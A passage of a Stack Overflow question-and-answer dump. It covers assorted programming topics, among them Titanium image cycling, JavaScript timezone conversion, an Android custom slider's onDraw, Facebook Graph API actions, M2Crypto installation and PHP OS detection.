= (imgCount+1) + "/20"; if (noOfImages === 3) { imgLeft.image = '/images/instructionImages/' + exercise + "/" + exercise + '_front_' + imgCount + '.jpg'; imgCenter.image = '/images/instructionImages/' + exercise + "/" + exercise + '_side_' + imgCount + '.jpg'; imgRight.image = '/images/instructionImages/' + exercise + "/" + exercise + '_back_' + imgCount + '.jpg'; //SS.log("image updated: " + imgLeft.image + " " + imgCenter.image + " " + imgRight.image); } else { imgLeft.image = '/images/instructionImages/' + exercise + "/" + exercise + '_front_' + imgCount + '.jpg'; imgRight.image = '/images/instructionImages/' + exercise + "/" + exercise + '_side_' + imgCount + '.jpg'; } } //view.add(win); var homeView = new SS.ui.view(win, '12%', '30%'); homeView.center = {x: '5%', y: '92%'}; homeView.visible = true; var home = new SS.ui.dateButton(homeView, 'footer/home'); home.addEventListener('click', function(){ if (start){ clearInterval(start); }; win.close(); }); var footerView = new SS.ui.view(win, '12%', '30%'); footerView.center = {x: '50%', y: '92%'}; footerView.visible = true; var prevImg = new SS.ui.dateButton(footerView, 'footer/prevFrame'); prevImg.left = 0; //prevImg.height = Ti.UI.SIZE;prevImg.width = Ti.UI.SIZE; prevImg.addEventListener('click', goToPrev); var nextImg = new SS.ui.dateButton(footerView, 'footer/nextFrame'); //nextImg.height = Ti.UI.SIZE; nextImg.width = Ti.UI.SIZE; nextImg.addEventListener('click', goToNext); nextImg.right = 0; var stopPlayBtn = new SS.ui.dateButton(footerView, 'footer/playVideo'); //stopPlayBtn.height = Ti.UI.SIZE;stopPlayBtn.width = Ti.UI.SIZE; stopPlayBtn.addEventListener('click', stopPlay); var numberView = new SS.ui.view(win, '12%', '30%'); numberView.center = {x: '95%', y: '92%'}; numberView.visible = true; var instructionNumber = new SS.ui.normalLabel(numberView, (imgCount+1) + "/20", 5); updateImages(); var start; function stopPlay() { // start videos if (stopPlayBtn.image.indexOf('play')&gt;=0) { cueText.visible = false; start = setInterval(goToNext, 200); stopPlayBtn.image = '/images/footer/stopVideo.png';} // stop vidoes else { clearInterval(start); cueText.visible = true; stopPlayBtn.image = '/images/footer/playVideo.png'; } } function goToPrev() { if (imgCount &gt; 0) { imgCount--; } else { imgCount = 19; }; SS.log("imgCount: " + imgCount); updateImages(); } function goToNext() { if (imgCount &lt; 19) { imgCount++; } else { imgCount = 0; }; SS.log("imgCount: " + imgCount); updateImages(); } return win; }; var ImagePanel = function(viewToAdd, cX) { var imageView = Ti.UI.createImageView({ width: '30%', borderColor: 'white', center: {x: cX, y: '50%'} }); viewToAdd.add(imageView); //resize for tablets if(Ti.Platform.osname.indexOf('ipad') &gt;=0) { imageView.height = '45%'; imageView.borderWidth = 8; imageView.borderRadius = 12; } else { imageView.height = '65%'; imageView.borderWidth = 4; imageView.borderRadius = 6; } return imageView; }; </code></pre> <p>EDIT</p> <p>So after a bit more digging I found this article - <a href="http://docs.appcelerator.com/platform/latest/#!/guide/Image_Best_Practices" rel="nofollow">http://docs.appcelerator.com/platform/latest/#!/guide/Image_Best_Practices</a></p> <p>It seems on android that the image size is the limiting factor, and reducing the size of the images helped fix this, although it still blinks on the first cycle of images.</p>
30064502	0	 <p>There error is the two dimensional array in the <code>columns</code> function is not being set correctly. The variable name is missing and in the incorrect place for each column.</p> <p>Either you can set the columns like this:</p> <pre><code>public function columns() { return array( 'Title' =&gt; array( 'title'=&gt;_t('PageListByTypeReport.PageName', 'Page name') ), 'ClassName' =&gt; array( 'title'=&gt;_t('PageListByTypeReport.ClassName', 'Page type') ) ); } </code></pre> <p>Or even simpler like this:</p> <pre><code>public function columns() { return array( 'Title' =&gt; _t('PageListByTypeReport.PageName', 'Page name'), 'ClassName' =&gt; _t('PageListByTypeReport.ClassName', 'Page type') ); } </code></pre> <p>The current <code>sourceRecords</code> function will work, although we can make this much simpler by just returning the results of <code>Page::get()</code> like this:</p> <pre><code>public function sourceRecords($params = array(), $sort = null, $limit = null) { $pages = Page::get()-&gt;sort($sort); return $pages; } </code></pre> <p>Here is a working and simplified version of the Report code: </p> <pre class="lang-php prettyprint-override"><code>class PageListByType extends SS_Report { function title() { return 'Page List by Type'; } function description() { return 'List all the pages in the site, along with their page type'; } public function sourceRecords($params = array(), $sort = null, $limit = null) { $pages = Page::get()-&gt;sort($sort); return $pages; } public function columns() { return array( 'Title' =&gt; _t('PageListByTypeReport.PageName', 'Page name'), 'ClassName' =&gt; _t('PageListByTypeReport.ClassName', 'Page type') ); } } </code></pre>
13843203	0	how to covert PST to IST Using javascript <p>i get PST date formate from Database and i need to convert IST formate. But my system also in IST Formate. please check this <a href="http://jsfiddle.net/sfcdD/9/" rel="nofollow">http://jsfiddle.net/sfcdD/9/</a>. </p> <pre><code> var date = "2012-12-12 05:18:28.541"; // PST date formate fetch from db var offset = (3600000*(+5.30)); // IST gmtOffset value var dateformate = 'dd/mm/yyyy "at" h:MM TT'; var dateArray = (date).split(' '); var year = dateArray[0].split('-'); var time = dateArray[1].split(':'); var d = new Date($.trim(year[0]), $.trim(year[1]-1), $.trim(year[2]), $.trim(time[0]), $.trim(time[1])); utc = d.getTime() +(d.getTimezoneOffset()*60000); //d.getTimezoneOffset() is taking local timezone nd = new Date(utc + parseInt(offset)); alert(dateFormat(nd,dateformate)); // dispaly 12/12/2012 at 5:06 AM but need to display 12/12/2012 at 7:48 PM </code></pre> <p>so my conversion is not work. it display wrong date.</p>
27616277	0	Powershell: can't generate current time in csv <pre><code>$timestamp = get-date -format "d-M-yyyy-H-mm" </code></pre> <p>I fill a csv file with lines, every line has <code>$timestamp</code> in first column and 3 other values.</p> <pre><code>#script actions1 $line = "$timestamp;value1;value2;value3" $line | out-file $file -encoding utf8 -append -force #script actions2 $line = "$timestamp;value1;value2;value3" $line | out-file $file -encoding utf8 -append -force </code></pre> <p>When I open the csv file, I see that every string has the same date and time which cannot be true. The csv sample looks like this:</p> <pre><code>"22-12-2014-12-00;value1;value2;value3" "22-12-2014-12-00;value1;value2;value3" "22-12-2014-12-00;value1;value2;value3" </code></pre> <p>How can i write the current time of each event in my log?</p>
19706596	0	 <p>If you want to remove complete inline style attribute then you can simple use this.</p> <pre><code>$('#test').removeAttr('style'); </code></pre>
20970512	0	Junit for spring security <p>I've used the spring security http element to enforce security, in the securityContext.xml. I am able to successful secure my web app. I want to write a junit for the same. Will I be able to write it.</p>
38737641	0	 <p>Following lines of javascript worked for me.</p> <pre><code>Date utcDate; /*utcDate = your own initialisation statement here;*/ Date localDate = new Date(utcDate.getTime() + TimeZone.getDefault().getRawOffset()); </code></pre> <p>Alternatively you can try <a href="http://momentjs.com/" rel="nofollow noreferrer">moment.js</a> which won't add time offset automatically.</p> <p>Cheers!</p>
6596940	0	 <p>This is because <code>image.Pointer()</code> is a smart pointer object, a wrapper around the read pointer to your data. You must pass <code>image.Pointer().GetPointer()</code> to fftw.</p>
15394450	0	onDraw() not being called <p>I am working on fixing someone's Android app. It was originally made for 2.1 and I am trying to get it work to 4.0+. Unfortunately the person who made the app is not around so I am stuck with his code.</p> <p>The app implements custom sliders, a horizontal and vertical. I got the vertical slider fixed, but I cannot get the horizontal slider to work. It is not calling <code>onDraw()</code>: When the view loads, <code>onDraw()</code> gets called and I see both of my sliders initialized, then when I move my horizontal slider it moves and calls <code>onDraw()</code> once, but never again will it call it, unlike the vertical slider which does call it.</p> <p>Here is the code:</p> <pre><code>public class PanSeekBar extends RelativeLayout { private RelativeLayout layout1; public ImageView track; public ImageView thumb; public boolean initialized = false; public int thumbDownPosX = 0; public int thumbDownPosY = 0; public int thumbLeft = 0; public int thumbTop = 0; public int thumbRight = 0; public int thumbBottom = 0; private int max = 100; public boolean touched = false; public PanSeekBar(Context context) { super(context); initialize(context); // TODO Auto-generated constructor stub }// End of PanSeekBar Constructor private void initialize(Context context) { Log.d("initialize (PanSeekBar)", "initialize"); setWillNotDraw(false); LayoutInflater inflater = (LayoutInflater) context .getSystemService(Context.LAYOUT_INFLATER_SERVICE); View view1 = inflater.inflate(R.layout.pan_seekbar, this); layout1 = (RelativeLayout) view1.findViewById(R.id.ps_layout1); track = (ImageView) layout1.findViewById(R.id.ps_track); thumb = (ImageView) layout1.findViewById(R.id.ps_thumb); thumb.setOnTouchListener(new OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { initialized = true; switch (event.getAction()) { case MotionEvent.ACTION_DOWN: Log.d("onTouch (PanSeekBar)", "Action Down"); thumbDownPosX = (int) event.getX(); thumbDownPosY = (int) event.getY(); thumbLeft = thumb.getLeft(); thumbTop = thumb.getTop(); thumbRight = thumb.getRight(); thumbBottom = thumb.getBottom(); touched = true; break; case MotionEvent.ACTION_MOVE: // Log.d("onTouch (PanSeekBar)", "Action Move"); int left = (int) (thumb.getLeft() + event.getX() - thumbDownPosX); if (left &lt; 0) { left = 0; Log.d("onTouch (PanSeekBar)", "left &lt; 0: " + left); } else if (left &gt;= track.getWidth() - thumb.getWidth()) { left = track.getWidth() - thumb.getWidth(); Log.d("onTouch (PanSeekBar)", "left &gt;= track.getWidth(): " + left); } int top = thumb.getTop(); int right = left + thumb.getWidth(); int bottom = top + thumb.getHeight(); thumbLeft = left; thumbTop = top; thumbRight = right; thumbBottom = bottom; Log.d("onTouch (PanSeekBar)", "Action Move -- thumb layout: " + thumbLeft + ", " + thumbTop + ", " + thumbRight + ", " + thumbBottom); layout1.invalidate(); // thumb.invalidate(); break; case MotionEvent.ACTION_UP: Log.d("onTouch (PanSeekBar)", "Action Up"); touched = false; break; }// End of switch return true; }// End of onTouch }); }// End of initialize @Override protected void onDraw(Canvas canvas) { Log.d("onDraw (PanSeekBar)", "onDraw"); super.onDraw(canvas); if (initialized) { thumb.layout(thumbLeft, thumbTop, thumbRight, thumbBottom); Log.d("onDraw (PanSeekBar)", "thumb layout: " + thumbLeft + ", " + thumbTop + ", " + thumbRight + ", " + thumbBottom); } }// End of onDraw }// End of PanSeekBar </code></pre> <p>Here is the code for the vertical slider that does work:</p> <pre><code>public class MySeekBar extends RelativeLayout { private RelativeLayout layout1; public ImageView track; public ImageView thumb; private MyToast toast; private MyToast toast2; private MyToast toast3; private int globalMaxValue; private int globalProgress; private boolean initialized = false; public int thumbDownPosX = 0; public int thumbDownPosY = 0; public int thumbLeft = 0; public int thumbTop = 0; public int thumbRight = 0; public int thumbBottom = 0; private int globalSetProgress = 0; private int globalConfigType = 1; // Margin top in custom_seekbar.xml private int marginTop = 20; public boolean touched = false; public MySeekBar(Context context) { super(context); // TODO Auto-generated constructor stub initialize(context); }// End of MySeekBar public void initialize(Context context) { Log.d("initialize (MySeekBar)", "initialize"); setWillNotDraw(false); LayoutInflater inflater = (LayoutInflater) context .getSystemService(Context.LAYOUT_INFLATER_SERVICE); View view1 = inflater.inflate(R.layout.custom_seekbar, this); layout1 = (RelativeLayout) view1.findViewById(R.id.al_cs_layout1); track = (ImageView) layout1.findViewById(R.id.cs_track); thumb = (ImageView) layout1.findViewById(R.id.cs_thumb); // Gets marginTop MarginLayoutParams params = (MarginLayoutParams) track .getLayoutParams(); Log.d("initialize (MySeekBar)", "current margintop = " + marginTop); marginTop = params.topMargin; Log.d("initialize (MySeekBar)", "new margintop = " + marginTop); // int marginTopPixelSize = params.topMargin; // Log.d("initialize (MySeekBar)","debug = "+marginTopPixelSize); // Jared // When creating MyToast, setting width causes issues. toast = new MyToast(context); toast.setText(""); toast.setBackgroundColor(Color.LTGRAY); toast.setTextColor(Color.BLACK); toast.setPadding(1, 1, 1, 1); toast.setVisibility(View.INVISIBLE); toast.setTextSize(10f); // toast.setWidth(40); toast2 = new MyToast(context); toast2.setTextSize(12f); toast2.setTextColor(Color.rgb(192, 255, 3)); // toast2.setWidth(40); toast2.setPadding(10, 1, 1, 1); // toast2.setBackgroundColor(Color.BLACK); toast2.setVisibility(View.INVISIBLE); toast3 = new MyToast(context); toast3.setText("CH"); toast3.setTextSize(15f); toast3.setTextColor(Color.rgb(192, 255, 3)); // toast3.setWidth(40); toast3.setPadding(1, 1, 1, 1); layout1.addView(toast); layout1.addView(toast2); layout1.addView(toast3); thumb.setOnTouchListener(new OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { initialized = true; // 0=down 1=up 2=move // Log.d("onTouch (MySeekBar)", // Integer.toString(event.getAction())); switch (event.getAction()) { case MotionEvent.ACTION_DOWN: Log.d("onTouch (MySeekBar)", "Action Down"); thumbDownPosX = (int) event.getX(); thumbDownPosY = (int) event.getY(); // Position of thumb touched. Irrelevant to scale // Log.d("onTouch (NewSeekBar)","thumbDownPosX "+thumbDownPosX+" thumbDownPosY "+thumbDownPosY); thumbLeft = thumb.getLeft(); thumbTop = thumb.getTop(); thumbRight = thumb.getRight(); thumbBottom = thumb.getBottom(); touched = true; toast2.setVisibility(View.INVISIBLE); toast3.setVisibility(View.INVISIBLE); toast.setVisibility(View.VISIBLE); // Location/size of the thumb button // Log.d("onTouch (NewSeekBar)","thumbLeft "+thumbLeft+" thumbRight "+thumbRight+" thumbTop "+thumbTop+" thumbBottom "+thumbBottom); break; case MotionEvent.ACTION_MOVE: // Log.d("onTouch (MySeekBar)", "Action Move"); int thumbHeight = thumb.getHeight(); int thumbWidth = thumb.getWidth(); int trackWidth = track.getWidth(); int trackHeight = track.getHeight(); // Location/size of the thumb button and track // Log.d("onTouch (NewSeekBar)","thumbHeight "+thumbHeight+" thumbWidth "+thumbWidth+" trackWidth "+trackWidth+" trackHeight "+trackHeight); int top = (int) (thumb.getTop() + event.getY() - thumbDownPosY); Log.d("onTouch (NewSeekBar)", "top " + top); // Top border if (top &lt; marginTop) { top = marginTop; Log.d("onTouch (NewSeekBar)", "top &lt; marginTop " + top); } else if (top &gt;= trackHeight - thumbHeight + marginTop) { top = trackHeight - thumbHeight + marginTop; Log.d("onTouch (NewSeekBar)", "top &gt;= trackHeight " + top); } thumbLeft = thumb.getLeft(); ; thumbTop = top; thumbRight = thumbLeft + thumbWidth; thumbBottom = top + thumbHeight; // Log.d("onTouch (MySeekBar)", // "thumbTop: "+thumbTop+" thumbBottom: "+thumbBottom); int value = getProgress(); Log.d("onTouch (NewSeekBar)", "getProgress(): " + value); // setdBText(value); // Log.d("onTouch (MySeekBar)", "value: "+value); setProgress(value); // toast.setText(String.valueOf(temp)); // toast2.setText(String.valueOf(temp)); layout1.invalidate(); break; case MotionEvent.ACTION_UP: Log.d("onTouch (MySeekBar)", "Action Up"); toast.setVisibility(View.INVISIBLE); toast2.setVisibility(View.VISIBLE); toast3.setVisibility(View.VISIBLE); touched = false; break; }// End of switch return true; }// End of onTouch }); }// End of initialize @Override protected void onDraw(Canvas canvas) { Log.d("onDraw (MySeekBar)", "onDraw"); super.onDraw(canvas); if (initialized) { thumb.layout(thumbLeft, thumbTop, thumbRight, thumbBottom); Log.d("onDraw (MySeekBar)", "thumb layout: " + thumbLeft + ", " + thumbTop + ", " + thumbRight + ", " + thumbBottom); int top = thumbTop - marginTop; int left = thumbLeft + 4; // toast.layout(left, top, left + toast.getWidth(), top + // toast.getHeight()); top = thumbTop + thumb.getHeight() / 2 - toast2.getHeight() / 2 + 1; left = thumbLeft; toast2.layout(left, top, left + toast2.getWidth(), top + toast2.getHeight()); } }// End of onDraw </code></pre> <p>The XML:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" android:id="@+id/test_layout"&gt; &lt;LinearLayout android:layout_width="wrap_content" android:layout_height="wrap_content" android:orientation="horizontal" &gt; &lt;com.networksound.Mixer3.NewSeekBar android:id="@+id/newSeekBar1" android:layout_width="wrap_content" android:layout_height="wrap_content" &gt; &lt;/com.networksound.Mixer3.NewSeekBar&gt; &lt;com.networksound.Mixer3.NewSeekBar android:id="@+id/newSeekBar2" android:layout_width="wrap_content" android:layout_height="wrap_content" &gt; &lt;/com.networksound.Mixer3.NewSeekBar&gt; &lt;com.networksound.Mixer3.MySeekBar android:id="@+id/mySeekBar1" android:layout_width="wrap_content" android:layout_height="wrap_content" &gt; &lt;/com.networksound.Mixer3.MySeekBar&gt; &lt;com.networksound.Mixer3.MySeekBar android:id="@+id/mySeekBar2" android:layout_width="wrap_content" android:layout_height="wrap_content" &gt; &lt;/com.networksound.Mixer3.MySeekBar&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" &gt; &lt;com.networksound.Mixer3.PanSeekBar android:id="@+id/panSeekBar1" android:layout_width="match_parent" android:layout_height="wrap_content" &gt; &lt;/com.networksound.Mixer3.PanSeekBar&gt; &lt;com.networksound.Mixer3.PanSeekBar android:id="@+id/panSeekBar2" android:layout_width="wrap_content" android:layout_height="wrap_content" &gt; &lt;/com.networksound.Mixer3.PanSeekBar&gt; &lt;/LinearLayout&gt; &lt;/LinearLayout&gt; </code></pre>
18190745	0	$scope.$apply in AngularJS - Function executed each time is the last defined function <p>If I call the code below inside a loop of asynchronous HTTP requests I get latter response. Any suggestions on where I could be going wrong?</p> <p>NOTE: This is essentially pseudo code.</p> <pre><code>function successful_request(site) { console.log('In: ' + site.id); $scope.$apply(function() { console.log('Out: ' + site.id); } } </code></pre> <p>OUTPUT:</p> <pre><code>In: 1 In: 2 In: 3 Out: 3 Out: 3 Out: 3 </code></pre> <p>I hope I've made sense here. I suspect it's a case of how I'm calling $scope.$apply but I'm not sure what I should do differently.</p>
9594069	0	 <p>First, update your Joomla, current version is 2.5.2. There are definitely security issues using 1.6 as it has not been supported for over a year now.</p> <p>Next, there are tons of slider extensions. Widgetkit by Yootheme is really nice and should be able to do images and videos. There are dozens of other options in the JED - <a href="http://extensions.joomla.org/extensions/photos-a-images/images-slideshow" rel="nofollow">http://extensions.joomla.org/extensions/photos-a-images/images-slideshow</a></p>
1860273	0	 <pre><code>var app = $('#ApplicationID')[0] </code></pre> <p>or </p> <pre><code>var app = $('#ApplicationID').get(0) </code></pre> <p>should do the same thing as </p> <pre><code>var app = document.getElementById('ApplicationID') </code></pre>
8982416	0	How to publish Actions to Facebook Graph API with parameters in call URL <p>To begin, Ive spent several hours looking for an answer and have come CLOSE but havent found a full answer.</p> <p>So Im trying to publish actions using Facebook's Graph API and want to send parameters in the URL when initially calling it with the Facebook Javascript SDK.</p> <p>Here is a call that WORKS:</p> <pre><code> function postNewAction() { passString = '&amp;object=http://mysite.com/appnamespace/object.php'; FB.api('/me/APP_NAMESPACE:ACTION' + passString,'post', function(response) { if (!response || response.error) { alert(response.error.message); } else { alert('Post was successful! Action ID: ' + response.id); } } ); } </code></pre> <p>With object.php looking like so:</p> <pre><code> &lt;head xmlns:enemysearch="http://apps.facebook.com/APP_NAMESPACE/ns#"&gt; &lt;meta property="fb:app_id" content="APP_ID" /&gt; &lt;meta property="og:type" content="APP_NAMESPACE:object" /&gt; &lt;meta property="og:title" content="some title" /&gt; &lt;meta property="og:description" content="some description"/&gt; &lt;meta property="og:locale" content="en_US" /&gt; &lt;meta property="og:url" content="http://www.mysite.com/appnamespace/object.php"/&gt; &lt;/head&gt; </code></pre> <p>So obviously the above will post some sort of action to Facebook that will be the same every time object.php is called.</p> <p>This is not ideal for my purposes.</p> <p>So I took a look at <a href="http://stackoverflow.com/questions/8431694/dynamic-generation-of-facebook-open-graph-meta-tags">this thread</a> and it helped but as you will see, doesnt answer everything.</p> <p>So if I change object.php to include dynamically generated meta tags by using content from either GET or POST and use the <a href="http://developers.facebook.com/tools/debug" rel="nofollow">Object Debugger</a> with a matching URL format to the one provided in og:url, the debugger shows everything as working as I would expect with now warnings. Here is what the dynamically generated object.php looks like:</p> <pre><code> &lt;?php if(count($_GET) &gt; 0) { $userName = (int)$_GET['userName']; } else { $userName = (int)$_POST['userName']; } ?&gt; &lt;head xmlns:enemysearch="http://apps.facebook.com/APP_NAMESPACE/ns#"&gt; &lt;meta property="fb:app_id" content="APP_ID" /&gt; &lt;meta property="og:type" content="APP_NAMESPACE:object" /&gt; &lt;meta property="og:title" content=" &lt;?php echo $userName; ?&gt;" /&gt; &lt;meta property="og:description" content="Click to view more from &lt;?php echo $userName; ?&gt;"/&gt; &lt;meta property="og:locale" content="en_US" /&gt; &lt;meta property="og:url" content="http://mysite.com/appnamespace/object.php?userName=&lt;?php echo $userName; ?&gt;"/&gt; &lt;/head&gt; </code></pre> <p>SO, what I need to know is how to send url parameters in the initial call. If I use the debugger and enter something to the effect of <a href="http://mysite.com/appnamespace/object.php?userName=Brad" rel="nofollow">http://mysite.com/appnamespace/object.php?userName=Brad</a> everything works fine and the meta tags return content with that name inside of them. However if I try to pass the same url in the Javascript Call, it returns an error saying that my meta property og:type needs to be 'APP_NAMESPACE:object' (which as you see above, is what I have) instead of 'website' (which as you can see above, is something I am not using). Here is what that broken call would look like:</p> <pre><code> function postNewAction(userName) { passString = '&amp;object=http://mysite.com/appnamespace/object.php?userName=' + userName; FB.api('/me/APP_NAMESPACE:ACTION' + passString,'post', function(response) { if (!response || response.error) { alert(response.error.message); } else { alert('Post was successful! Action ID: ' + response.id); } } ); } </code></pre> <p>To be clear, the userName variable is only for example.</p> <p>Any thoughts?</p>
16680099	0	 <p>Looks like you are missing a few jar's.</p> <p><a href="http://poi.apache.org/overview.html" rel="nofollow">http://poi.apache.org/overview.html</a></p> <p>You need:</p> <pre><code>poi-version-yyyymmdd.jar commons-logging.jar commons-codec.jar log4j.jar poi-ooxml-schemas-version-yyyymmdd.jar xmlbeans.jar stax-api-1.0.1.jar dom4j.jar </code></pre>
38712058	0	 <blockquote> <p>However upon setting the static property, the original closure gets executed. It's not the case for lazy instance properties. Why is that?</p> </blockquote> <p>What answer would satisfy you? Are you asking for someone to read Apple's mind? You're as capable of reading the Swift source code as anyone else, so go read it and see what it does. Personally, I agree with your expectation. In my opinion this behavior is a bug, and I've filed a bug report with Apple. If you agree, file one too. But I wouldn't expect anything to change if I were you. And regardless, your question can appeal only to opinion, which is not a good fit for Stack Overflow.</p> <p>In case you're curious, my bug report is number 19085421, and reads, in part:</p> <blockquote> <p><strong>Summary:</strong> A lazy var's initializer should not be evaluated at all if the var is written to without being read first. But that is what a global var does.</p> <p><strong>Steps to Reproduce:</strong> Run the enclosed project.</p> <p><strong>Expected Results:</strong> I am assigning to the global var before anyone ever reads its value. Therefore I expect that its initializer will <em>never</em> be evaluated.</p> <p><strong>Actual Results:</strong> Its initializer <em>is</em> evaluated, as the logging in the console proves. This defeats, to some extent, the purpose of laziness.</p> </blockquote>
23022274	0	 <p>I use <a href="https://github.com/mirek/CoreWebSocket" rel="nofollow">CoreWebSocket!</a>. It's pretty good so far. Best of all, i found it very easy to understand. It might be a good place to start.</p> <p>I also know of <a href="https://github.com/square/SocketRocket" rel="nofollow">SocketRocket</a>. Which I'm told is actually better. But I've been working with CoreWebSocket for a while now, and its working just fine to me. </p> <p>Both are pretty well documented. So I think these would be a good place to start. Let me know if you need anything else.</p> <p>Thats just the sockets though. I also have an 'always online' based application. Where the users are always online. The good thing is, sockets are persistent in the sense that you make the connection only once. For this you need some kind of turn server to figure out who's online and their credentials to connect. Once connected you can seamlessly send receive data between them with out involving an in-between server. </p> <p>If you need to be aware of what the users are sending and receiving, then its a good idea to have a server in-between, Where data is sent to the server first, and then forwarded to the appropriate users.</p> <p>The libraries above have some documentation on how they work, so you can use it to figure out some kind of architecture before you pick one of them to use.</p> <p>Good luck!</p> <p>EDIT: To be honest, sockets are meant for (in my opinion) live connections. So if you want to send and receive controls for a game or something of that sorts. The idea is that you don't need establish a new connection every time you want to send data. You make a connection once, and you can send and receive until it is closed. Is this the kind of application you're trying to make? </p>
18100918	0	 <p>You can use javascript to submit the form. To make it easier, give the form an id, here's an example that uses jQuery:</p> <pre><code>&lt;form id="paypal-form" action="https://www.sandbox.paypal.com/webapps/adaptivepayment/flow/pay" target="PPDGFrame" name = "paypal_form"&gt; &lt;input id="type" type="hidden" name="expType" value="light"&gt; &lt;input id="paykey" type="hidden" name="paykey" value="RETURNED_PAYKEY_GOES_HERE"&gt; &lt;input type="submit" id="submitBtn" value="Pay with PayPal"&gt; &lt;/form&gt; &lt;script&gt; $('paypal-form').submit(); &lt;/script&gt; </code></pre>
36375191	0	How do you add extra data in currentUser object? <p>I am trying to add an extra information that is not in profile for the <code>currentUser</code> object in Meteor. I am thinking it is possible and the technique should be somewhere in <code>meteor/alanning:roles</code>.</p> <p>e.g. if I have a <code>organizations</code> object in <code>users</code> e.g.</p> <pre><code>{ _id: ... profile: { ... } roles: [ ... ] organizations: [ ... ] } </code></pre> <p>I would like to see it when I do</p> <pre><code>{{ currentUser }} </code></pre>
39456914	0	 <p>You can fix this by uninstalling M2Crypto via pip, then installing the package python-m2crypto, and then to make sure install M2Crypto again </p> <pre><code>pip uninstall M2Crypto apt-get install python-m2crypto pip install M2Crypto </code></pre> <p>This solved for me</p>
6330658	0	how can I replace blank value with zero in MS-Acess <p>I have below query in Ms-Access but I want to replace Blank value with zero but I can't get proper answer. Is there any way to replace blank value in zero.</p> <pre><code>(SELECT SUM(IIF(Review.TotalPrincipalPayments,0,Review.TotalPrincipalPayments))+ SUM(IIF(Review.TotalInterestPayments,0,Review.TotalInterestPayments )) FROM tblReviewScalars as Review INNER JOIN tblReportVectors AS Report ON(Review.LoanID=Report.LoanID) WHERE Report.AP_Indicator="A" AND Report.CashFlowDate=#6/5/2011# AND Review.AsofDate=#6/5/2011# AND ( Review.CreditRating =ReviewMain.CreditRating)) AS [Cash Collected During the Period], </code></pre>
8465846	0	Using datatype different Property Editor <p>I have a class with an Integer Property which I want to change over a PropertyGrid. BUT: I don't want to use the Integer InputBox but a Dropdown List with an Enum as content. How could I do this?</p>
23122518	0	 <p>You can use <code>$[:]</code> to match a literal. </p>
12868898	0	 <p>Both of these would work:</p> <pre><code>$("#animation1, #animation2, #animation3").click(function() { // existing code }); </code></pre> <p>or </p> <pre><code>function animate() { //existing code } $("#animation1").click(animate); </code></pre>
28194237	0	 <p><a href="https://github.com/raptorjs/marko" rel="nofollow">Marko</a> does exactly what you are looking for: </p> <p>It offers 3 key features that enable progressive rendering:</p> <ol> <li>Streamed Template Rendering - So your html is sent early and the buffers are cleared often</li> <li>Async Rendering of html fragments - Marko will manage the waiting, buffering and eventual rendering</li> <li>Out of order rendering - Marko will optionally send template data as soon as it is available from api calls or db queries, then it will re-order the html on the client side</li> </ol> <p>I just did a screencast on Marko that you might find helpful:</p> <p><a href="http://knowthen.com/episode-8-serving-content-in-koajs-with-marko/" rel="nofollow">http://knowthen.com/episode-8-serving-content-in-koajs-with-marko/</a></p>
20310889	0	How to find the kth smallest element within an interval of an array <p>Suppose I have an unsorted integer array a[] with length N. Now I want to find the kth smallest integer within a given interval a[i]-aj. Ex: I have an array a[10]={10,15,3,8,17,11,9,25,38,29}. Now I want to find the 3rd smallest element within [2,7] interval. The answer is 9. I know this can be done by sorting that interval. But this costs O(MlogM)(M=j-i+1) time. I also know that, this can be done by segment tree. But I can't understand how to modify it to handle such query.</p>
19443431	1	python cache dictionary - counting number of hits <p>I'm implementing a caching service in python. I'm using a simple dictionary so far. What I'd like to do is to count number of hits (number of times when a stored value was retrieved by the key). Python builtin dict has no such possibility (as far as I know). I searched through 'python dictionary count' and found <code>Counter</code> (also on stackoverflow), but this doesn't satisfy my requirements I guess. I don't need to count what already exists. I need to increment something that come from the outside. And I think that storing another dictionary with hits counting only is not the best data structure I can get :)</p> <p>Do you have any ideas how to do it efficiently?</p>
32535190	0	 <p>Absurd over-generalization:</p> <p>Every <code>Traversable</code> instance supports a horrible hack implementing <code>reverse</code>. There may be a cleaner or more efficient way to do this; I'm not sure.</p> <pre><code>module Rev where import Data.Traversable import Data.Foldable import Control.Monad.Trans.State.Strict import Prelude hiding (foldl) fill :: Traversable t =&gt; t b -&gt; [a] -&gt; t a fill = evalState . traverse go where go _ = do xs &lt;- get put (drop 1 xs) return (head xs) reverseT :: Traversable t =&gt; t a -&gt; t a reverseT xs = fill xs $ foldl (flip (:)) [] xs reverseAll :: (Functor f, Traversable t) =&gt; f (t a) -&gt; f (t a) reverseAll = fmap reverseT </code></pre>
18048541	0	Golang: what's the point of interfaces when you have multiple inheritence <p>I'm a Java programmer, learning to program in Go. So far I really like the language. A LOT more than Java. </p> <p>But there's one thing I'm a bit confused about. Java has interfaces because classes can inherit only from one class. Since Go allows multiple inheritance, what's the point of interfaces?</p>
7848809	0	 <p>Some alternative using Linq to Xml</p> <pre><code>using System.Xml.XPath; var document = XDocument.Parse(@"&lt;Z&gt; &lt;X&gt; &lt;Code&gt;ABC&lt;/Code&gt; &lt;/X&gt; &lt;X&gt; &lt;Code&gt;DEF&lt;/Code&gt; &lt;/X&gt; &lt;/Z&gt;"); var codeValues = document.XPathSelectElements("//Z/X/Code") .Select(e =&gt; e.Value) .OrderByDescending(e =&gt; e); </code></pre> <p>You can simplify it even further if you want. You need to take into account performance though. If your xml files are large this won't perform as well I guess. If you only have small files the simplicity of this outweighs the small performance penalty. </p>
14708374	0	 <p>Note that <a href="http://php.net/manual/en/function.php-uname.php">PHP_OS reports the OS that PHP was <em>built</em> on</a>, which is not necessarily the same OS that it is currently running on.</p> <p>If you are on PHP >= 5.3 and just need to know whether you're running on Windows or not-Windows then testing whether one of the <a href="http://php.net/manual/en/info.constants.php">Windows-specific constants</a> is defined may be a good bet, e.g.:</p> <pre><code>$windows = defined('PHP_WINDOWS_VERSION_MAJOR'); </code></pre>
